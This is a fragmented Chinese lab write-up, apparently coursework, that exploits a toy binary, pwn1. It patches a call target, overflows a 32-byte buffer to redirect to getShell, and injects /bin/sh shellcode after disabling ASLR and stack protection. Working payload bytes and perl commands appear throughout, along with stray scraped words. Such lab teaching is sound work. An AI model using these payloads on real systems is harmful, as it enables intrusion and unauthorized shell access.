cut
命令,将一行内的数据进行分解进入共享文件目录/mnt/hgfs/share
中,下载目标文件pwn1,输入objdump -d pwn1
反汇编获得下图代码html
计算出须要修改的地址。计算方法:e8这条指令会使CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。80484ba +d7ffffff= 80484ba-0x29正好是8048491。所以想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行。直接 47d-4ba就能获得补码,是c3ffffff。linux
编辑pwn1文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
shell
如下操做是在vi内 1. 按ESC键 2. 输入以下,将显示模式切换为16进制模式 :%!xxd 3. 查找要修改的内容 /e8d7 4. 找到后先后的内容和反汇编的对比下,确认是地方是正确的 5. 修改d7为c3 6. 转换16进制为原格式 :%!xxd -r 7. 存盘退出vi :wq
./pwn1
运行改后的代码,会获得shell提示符:
windows
32字节
的缓冲区,超出部分会形成溢出,咱们的目标是覆盖返回地址80484ae
1111111122222222333333334444444412345678
,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell0804847d
11111111222222223333333344444444\x7d\x84\x04\x08
\x7d\x84\x04\x08
这样的16进制值,因此须要使用prel方法先生成包括这样字符串的一个文件,将getshell的内存地址写入输入字符串中,\x0a
表示回车,若是没有的话,在程序运行时就须要手工按一下回车键。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
可使用16进制查看指令xxd查看input文件的内容是否如预期。
sass
将input的输入,经过管道符“|”,做为pwn1的输入。服务器
(cat input; cat) | ./pwn1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
apt-get install execstack //安装execstack命令 execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
Linux下有两种基本构造攻击buf的方法: 1.retaddr+nop+shellcode 2.
nop+shellcode+retaddr
由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
咱们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
nop一为是了填充,二是做为“着陆区/滑行区”。
咱们猜的返回地址只要落在任何一个nop上,天然会滑到咱们的shellcode。网络
\x04\x03\x02\x01
为预留的返回地址retaddr:perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。咱们得把它改成这段shellcode的地址。 特别提醒:最后一个字符千万不能是\x0a。否则下面的操做就作不了了。
肯定\x4\x3\x2\x1到底该填什么。dom
(cat input_shellcode;cat) | ./pwn20165230
ps -ef | grep pwn20165230
命令找到pwn20165230的进程号是:34424:gdb pwn20165230
、attach
命令启动gdb调试这个进程:disassemble foo
命令反汇编,经过设置断点,来查看注入buf的内存地址:break *0x080484ae
命令设置断点,输入c
命令(continue)继续运行info r esp
命令查找地址:x/16x 0xffffd28c
命令查看其存放内容,看到了0x01020304
,就是返回地址的位置。根据咱们构造的input_shellcode可知,shellcode就在其后,因此地址应为0xffffd290
:接下来只须要将以前的\x4\x3\x2\x1改成这个地址便可,用命令函数
perl -e 'print "A" x 32;print "\x90\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
0x01020304
正确的结果,因而从新copy了pwn文件到共享文件夹中,并重命名为pwn20165230,便可获得正确结果,应养成备份的好习惯删除找到的全部*.lck临时文件,再次启用就ok了学习